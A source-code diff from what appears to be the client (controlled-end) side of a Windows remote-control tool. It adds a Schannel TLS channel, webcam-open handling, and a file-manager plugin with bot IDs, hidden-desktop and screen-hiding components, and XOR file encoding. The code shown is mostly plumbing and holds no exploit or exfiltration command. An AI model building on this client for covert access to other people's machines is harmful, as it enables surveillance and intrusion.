Mprintf("[TLS] QueryContextAttributes(StreamSizes) failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
m_ready = true;
Mprintf("[TLS] handshake OK (TLS 1.2, server cert trusted)\n");
return true;
}
int TlsChannel::Recv(SOCKET sock, char* out, int outLen)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || outLen <= 0) {
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
(int)m_ready, outLen);
return SOCKET_ERROR;
}
if (!m_pending.empty()) {
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
memcpy(out, m_pending.data(), n);
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
return n;
}
char raw[16384];
for (;;) {
// 优先解密 m_raw 里已缓冲的字节(握手时随 Finished 收下的首条应用数据,或上轮
// 一次 recv 到多条记录后剩下的记录)。select() 只看底层 socket,看不到这些字节,
// 若先 recv 就会把它们卡住(随机延迟/死锁/协议错位)。
while (!m_raw.empty()) {
SecBuffer bufs[4] = {
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.data() },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
if (sc == SEC_E_INCOMPLETE_MESSAGE)
break; // 记录不完整,去 recv 补字节
if (sc == SEC_I_CONTEXT_EXPIRED)
return 0; // close_notify
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
// 客户端解密失败(服务端发来的密文损坏/错位)。这里只返回 SOCKET_ERROR,
// 而 WSAGetLastError() 会残留上一次 Winsock 调用的旧值(如 6001),
// 掩盖真实原因,故把真实的 SECURITY_STATUS 记下来。
Mprintf("[TLS] client DecryptMessage failed 0x%08x (raw=%u pending=%u)\n",
(unsigned)sc, (unsigned)m_raw.size(), (unsigned)m_pending.size());
return SOCKET_ERROR;
}
// 流模式 DecryptMessage 会把输入 SECBUFFER_DATA 重组为 4 段:
// bufs[0]=STREAM_HEADER(记录头+nonce)、bufs[1]=DATA(明文)、
// bufs[2]=STREAM_TRAILER(标签)、bufs[3]=EXTRA(下一条记录)。
// 明文在 bufs[1].pvBuffer,不在 m_raw 首字节。
int decLen = bufs[1].cbBuffer;
const BYTE* plain = (const BYTE*)bufs[1].pvBuffer;
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? bufs[3].cbBuffer : 0;
int consumed = (int)m_raw.size() - extra;
m_pending.insert(m_pending.end(), plain, plain + decLen);
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
if (!m_pending.empty()) {
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
memcpy(out, m_pending.data(), n);
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
return n;
}
// 无明文的记录(如 alert/CCS):继续循环解下一条
}
int r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR)
return SOCKET_ERROR;
if (r == 0)
return 0; // 对端关闭(此时无 pending,且 m_raw 已解完/为空)
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
// 循环回顶部,解密刚收到的字节
}
}
int TlsChannel::Send(SOCKET sock, const char* data, int len)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready)
return SOCKET_ERROR;
if (len <= 0)
return 0;
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
int total = 0;
while (total < len) {
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
BYTE* hdr = rec.data();
BYTE* body = hdr + m_sizes.cbHeader;
BYTE* trailer = body + chunk;
memcpy(body, data + total, chunk);
SecBuffer bufs[4] = {
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
{ (ULONG)chunk, SECBUFFER_DATA, body },
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
if (FAILED(sc)) {
return total > 0 ? total : SOCKET_ERROR;
}
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
if (!SendAll(sock, rec.data(), wireLen)) {
return total > 0 ? total : SOCKET_ERROR;
}
total += chunk;
}
return total;
}
#endif // _WIN32
+94
View File
@@ -0,0 +1,94 @@
// TlsChannel.h — Windows 客户端单向 TLS(Schannel)会话封装
//
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时
// (注册表 Software\<exehash>\settings\tls_cert,或 yama-ca.pem 文件,见 TlsChannel.cpp
// 的 InitTls),所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
// (fail-closed,不回退明文)。
//
// 选型:Schannel(Windows 原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为
// 系统库。单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担。
//
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放 m_ctx)与
// Send/Recv 对 m_ctx 的使用(EncryptMessage/DecryptMessage)由 m_ctxMtx 互斥,避免
// 重连线程释放上下文时与使用线程产生 use-after-free。本对象作为 IOCPClient 的值成员
// 存在,析构时释放上下文。
//
// 注意:本文件仅在 _WIN32 下有效,非 Windows 构建(Linux/macOS/Android)不含任何内容,
// 客户端维持明文(TLS 接入按设计文档延后)。
#pragma once
#ifdef _WIN32
#include <WinSock2.h>
#ifndef SECURITY_WIN32
#define SECURITY_WIN32 1
#endif
#include <security.h>
#include <schannel.h>
#include <mutex>
#include <vector>
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全、幂等。
bool TlsEnabled();
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
bool TlsLoadError();
class TlsChannel
{
public:
TlsChannel() {}
~TlsChannel() { CloseHandles(); }
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
TlsChannel(const TlsChannel&) = delete;
TlsChannel& operator=(const TlsChannel&) = delete;
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
bool Handshake(SOCKET sock);
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
int Recv(SOCKET sock, char* buf, int len);
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
int Send(SOCKET sock, const char* buf, int len);
// 是否有待交付的数据:已解密明文(m_pending)或已缓冲但尚未解密的 TLS 记录(m_raw)。
// 供接收线程在 select 前优先消费——select 只看底层 socket,看不到 Schannel 缓冲的
// m_raw(握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余),
// 若这里不把 m_raw 也算作「有数据」,这些字节会被 select 卡住。
bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
bool IsReady() const { return m_ready; }
private:
void CloseHandles();
bool SendAll(SOCKET sock, const void* data, int len);
bool VerifyServerCert();
CredHandle m_cred = {};
CtxtHandle m_ctx = {};
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
bool m_ready = false; // 握手完成,Send/Recv 可用
SecPkgContext_StreamSizes m_sizes = {};
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
// recursive 是因为 Handshake 内部会再调 CloseHandles。
std::recursive_mutex m_ctxMtx;
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
};
#endif // _WIN32
+6 -1
View File
@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
m_pVideoCodec = NULL; m_pVideoCodec = NULL;
m_fccHandler = 1129730893; m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // 开启 m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启
lpBuffer = NULL; lpBuffer = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
DWORD CVideoManager::WorkThread(LPVOID lParam) DWORD CVideoManager::WorkThread(LPVOID lParam)
{ {
CVideoManager *This = (CVideoManager *)lParam; CVideoManager *This = (CVideoManager *)lParam;
if (!This->m_bVideoOpened) {
This->Destroy();
return 0x20261013;
}
static ULONGLONG dwLastScreen = GetTickCount64(); static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize if (This->Initialize()) { //转到Initialize
+1
View File
@@ -25,6 +25,7 @@ public:
BOOL m_bIsWorking; BOOL m_bIsWorking;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
BOOL m_bVideoOpened;
void SendBitMapInfor(); void SendBitMapInfor();
BOOL SendNextScreen(); BOOL SendNextScreen();
File diff suppressed because it is too large. Load diff
+152
View File
@@ -0,0 +1,152 @@
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#include <sstream>
#include "zip.h"
#pragma once
#include <winioctl.h>
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
#include "MasterEncoder.h"
namespace SimplePluginsFile {
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
BYTE Token;
int w,h,size;
} FILEPICINFO;
struct SEARCH {
TCHAR TC_disk[8];
TCHAR TC_search[MAX_PATH];
};
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[MAX_PATH];
} FILE_NAME_INFORMATION;
typedef LONG(__stdcall* ZwQueryInformationFile) (
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN ULONG FileInformationClass
);
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
class CFileManager : public CManager
{
public:
MasterEncoder m_encoder;
DWORD dwRet;
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient, int n, void* user);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket;
std::list <std::string> m_UploadList;
BOOL m_bIsWow64;
UINT m_nTransferMode;
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool benofrce;
TCHAR* copyfile;
HANDLE ImpersonateLoggedOnUserWrapper();
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
void ExeCompress(BYTE* lpBuffer);
void SendSearchData(LPBYTE lpBuffer);
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
protected:
HANDLE m_hWorkThread;
BOOL bIsStopSearch;
FILESEARCH filesearch;
void StopSearchTheard();
void SendSearchFilesList(LPCTSTR str);
static void WINAPI FindFileThread(LPVOID lparam);
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
TCHAR g_desktopName[MAX_PATH];
ULONG PseudoRand(ULONG* seed);
void GetBotId(TCHAR* botId);
HDESK g_hDesk;;
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
void SendNetHood(); //发送共享文件目录
void encfile(char* in_filename);
void decryptfile(char* in_filename);
bool FnDelPathFile(TCHAR* tc_path);
TCHAR* zippath_t;
HANDLE m_hWorkZIPThread;
BOOL bIsStopZIP;
void StopZIPTheard();
void StartZIP();
static void WINAPI FindZIPThread(LPVOID lparam);
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
//info
void SendFileInfo(TCHAR* filepath,TCHAR * type);
bool ResizePicture(TCHAR* strSource);
TCHAR* volName; // 驱动盘名称
TCHAR* tc_search; // 搜索关键词
HANDLE hVol; // 用于储存驱动盘句柄
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
long counter;
LPBYTE lpBuffer;
char* c_pathname;
};
}
+162
View File
@@ -0,0 +1,162 @@
#include "StdAfx.h"
#include "MasterEncoder.h"
#include <fstream>
#include <string>
#include <iostream>
namespace SimplePluginsFile {
MasterEncoder::MasterEncoder()
{
_codeKey = 100;
_sign = nullptr;
_signLen = 0;
}
MasterEncoder::~MasterEncoder()
{
SAFE_DELETE_AR(_sign);
}
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
{
if (sign && signLen) {
_signLen = signLen;
SAFE_DELETE_AR(_sign);
_sign = new char[signLen];
if (_sign) {
memcpy(_sign, sign, signLen);
} else {
Mprintf("setSignAndKey Failed!\n");
}
}
_codeKey = key;
}
void MasterEncoder::encode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
void MasterEncoder::decode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
{
std::ifstream ifs;
ifs.open(filepath, std::ios::in | std::ios::binary);
if (!ifs.is_open()) {
Mprintf("文件打开失败: %s\n", filepath.c_str());
return nullptr;
}
ifs.seekg(0, std::ios_base::end);
size =(long) ifs.tellg();
ifs.seekg(0, std::ios_base::beg);
unsigned char* data = new unsigned char[size];
long count = 0;
while (count < size) {
ifs.read((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("read PDF size = %d\n", size);
ifs.close();
return data;
}
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
{
std::ofstream ofs;
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
if (!ofs.is_open()) {
Mprintf("文件打开失败: %s\n", filePath.c_str());
return;
}
long count = 0;
while (count < size) {
ofs.write((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("save PDF size = %d\n", size);
ofs.close();
}
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
//判断是否已经加密过
if (memcmp(data, _sign, _signLen) == 0) {
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
writePDF(savePath, data, size);
} else {
encode(data, size);
if (_signLen > 0) {
unsigned char* p = new unsigned char[size + _signLen];
memcpy(p, _sign, _signLen);
memcpy(p + _signLen, data, size);
writePDF(savePath, p, size + _signLen);
delete[] p;
} else {
writePDF(savePath, data, size);
}
}
delete[] data;
}
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
writePDF(savePath, data, size);
} else if (memcmp(data, _sign, _signLen) == 0) {
unsigned char* p = (data + _signLen);
decode(p, size - _signLen);
writePDF(savePath, p, size - _signLen);
} else {
Mprintf("解密失败: %s\n", pdfPath.c_str());
}
delete[] data;
}
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
{
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
return data;
} else if (memcmp(data, _sign, _signLen) == 0) {
size -= _signLen;
unsigned char* p = new unsigned char[size];
memcpy(p, data + _signLen, size);
decode(p, size);
delete[] data;
return p;
} else {
return data;
}
}
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <string>
namespace SimplePluginsFile {
class MasterEncoder
{
public:
MasterEncoder();
~MasterEncoder();
void setSignAndKey(char* sign, int signLen, unsigned char key);
void decode(unsigned char* data, long size);
void encode(unsigned char* data, long size);
void writePDF(const std::string& filePath, unsigned char* data, long size);
unsigned char* readPDF(const std::string& filepath, long& size);
public:
void encodePDF(const std::string& pdfPath, const std::string& savePath);
void decodePDF(const std::string& pdfPath, const std::string& savePath);
unsigned char* decode(const std::string& pdfPath, long& size);
private:
unsigned char _codeKey;
char* _sign;
int _signLen;
};
}
+2911
View File
File diff suppressed because it is too large. Load diff
+207
View File
@@ -0,0 +1,207 @@
//
//http://www.codeproject.com/KB/files/zip_utils.aspx
//
#ifndef _zip_H
#define _zip_H
// ZIP functions -- for creating zip files
// This file is a repackaged form of the Info-Zip source code available
// at www.info-zip.org. The original copyright notice may be found in
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
// extend its use in Windows/C++. Also to add encryption and unicode.
#ifndef _unzip_H
DECLARE_HANDLE(HZIP);
#endif
// An HZIP identifies a zip file that is being created
typedef DWORD ZRESULT;
// return codes from any of the zip functions. Listed later.
HZIP CreateZip(const TCHAR* fn, const char* password);
HZIP CreateZip(void* buf, unsigned int len, const char* password);
HZIP CreateZipHandle(HANDLE h, const char* password);
// CreateZip - call this to start the creation of a zip file.
// As the zip is being created, it will be stored somewhere:
// to a pipe: CreateZipHandle(hpipe_write);
// in a file (by handle): CreateZipHandle(hfile);
// in a file (by name): CreateZip("c:\\test.zip");
// in memory: CreateZip(buf, len);
// or in pagefile memory: CreateZip(0, len);
// The final case stores it in memory backed by the system paging file,
// where the zip may not exceed len bytes. This is a bit friendlier than
// allocating memory with new[]: it won't lead to fragmentation, and the
// memory won't be touched unless needed. That means you can give very
// large estimates of the maximum-size without too much worry.
// As for the password, it lets you encrypt every file in the archive.
// (This api doesn't support per-file encryption.)
// Note: because pipes don't allow random access, the structure of a zipfile
// created into a pipe is slightly different from that created into a file
// or memory. In particular, the compressed-size of the item cannot be
// stored in the zipfile until after the item itself. (Also, for an item added
// itself via a pipe, the uncompressed-size might not either be known until
// after.) This is not normally a problem. But if you try to unzip via a pipe
// as well, then the unzipper will not know these things about the item until
// after it has been unzipped. Therefore: for unzippers which don't just write
// each item to disk or to a pipe, but instead pre-allocate memory space into
// which to unzip them, then either you have to create the zip not to a pipe,
// or you have to add items not from a pipe, or at least when adding items
// from a pipe you have to specify the length.
// Note: for windows-ce, you cannot close the handle until after CloseZip.
// but for real windows, the zip makes its own copy of your handle, so you
// can close yours anytime.
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
// ZipAdd - call this for each file to be added to the zip.
// dstzn is the name that the file will be stored as in the zip file.
// The file to be added to the zip can come
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
// from a file: ZipAddHandle(hz,"file.dat", hfile);
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
// (folder): ZipAddFolder(hz,"subdir");
// Note: if adding an item from a pipe, and if also creating the zip file itself
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
// function. This will let the zipfile store the item's size ahead of the
// compressed item itself, which in turn makes it easier when unzipping the
// zipfile from a pipe.
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
// then this function will return information about that memory block.
// buf will receive a pointer to its start, and len its length.
// Note: you can't add any more after calling this.
ZRESULT CloseZip(HZIP hz);
// CloseZip - the zip handle must be closed with this function.
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
// FormatZipMessage - given an error code, formats it as a string.
// It returns the length of the error message. If buf/len points
// to a real buffer, then it also writes as much as possible into there.
// These are the result codes:
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
// The following come from general system stuff (e.g. files not openable)
#define ZR_GENMASK 0x0000FF00
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
#define ZR_WRITE 0x00000400 // a general error writing to the file
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
#define ZR_READ 0x00000800 // a general error reading the file
// The following come from mistakes on the part of the caller
#define ZR_CALLERMASK 0x00FF0000
#define ZR_ARGS 0x00010000 // general mistake with the arguments
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
// The following come from bugs within the zip library itself
#define ZR_BUGMASK 0xFF000000
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
// e.g.
//
// (1) Traditional use, creating a zipfile from existing files
// HZIP hz = CreateZip("c:\\simple1.zip",0);
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
// CloseZip(hz);
//
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
// HZIP hz = CreateZip(0,100000, 0);
// // adding a conventional file...
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
// // adding something from memory...
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
// ZipAdd(hz,"file.dat", buf,1000);
// // adding something from a pipe...
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread); CloseHandle(hread);
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
// { HANDLE hwrite = (HANDLE)dat;
// char buf[1000]={17};
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
// CloseHandle(hwrite);
// return 0;
// }
// // and now that the zip is created, let's do something with it:
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
// CloseHandle(hfz);
// CloseZip(hz);
//
// (3) Handle use, for file handles and pipes
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
// HZIP hz = CreateZipHandle(hzwrite,0);
// // ... add to it
// CloseZip(hz);
// CloseHandle(hzwrite);
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread);
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
// { HANDLE hread = (HANDLE)dat;
// char buf[1000];
// while (true)
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
// // ... and do something with this zip data we're receiving
// if (red==0) break;
// }
// CloseHandle(hread);
// return 0;
// }
// Now we indulge in a little skullduggery so that the code works whether
// the user has included just zip or both zip and unzip.
// Idea: if header files for both zip and unzip are present, then presumably
// the cpp files for zip and unzip are both present, so we will call
// one or the other of them based on a dynamic choice. If the header file
// for only one is present, then we will bind to that particular one.
ZRESULT CloseZipZ(HZIP hz);
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
bool IsZipHandleZ(HZIP hz);
#ifdef _unzip_H
#undef CloseZip
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
#else
#define CloseZip CloseZipZ
#define FormatZipMessage FormatZipMessageZ
#endif
#endif
+23
View File
@@ -194,6 +194,13 @@
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -214,6 +221,7 @@
<ClCompile Include="ScreenPreview.cpp" /> <ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" /> <ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" /> <ClCompile Include="SessionMonitor.c" />
@@ -225,6 +233,9 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" /> <ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -247,6 +258,13 @@
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" /> <ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
@@ -269,6 +287,7 @@
<ClInclude Include="ScreenPreview.h" /> <ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" /> <ClInclude Include="ScreenSpy.h" />
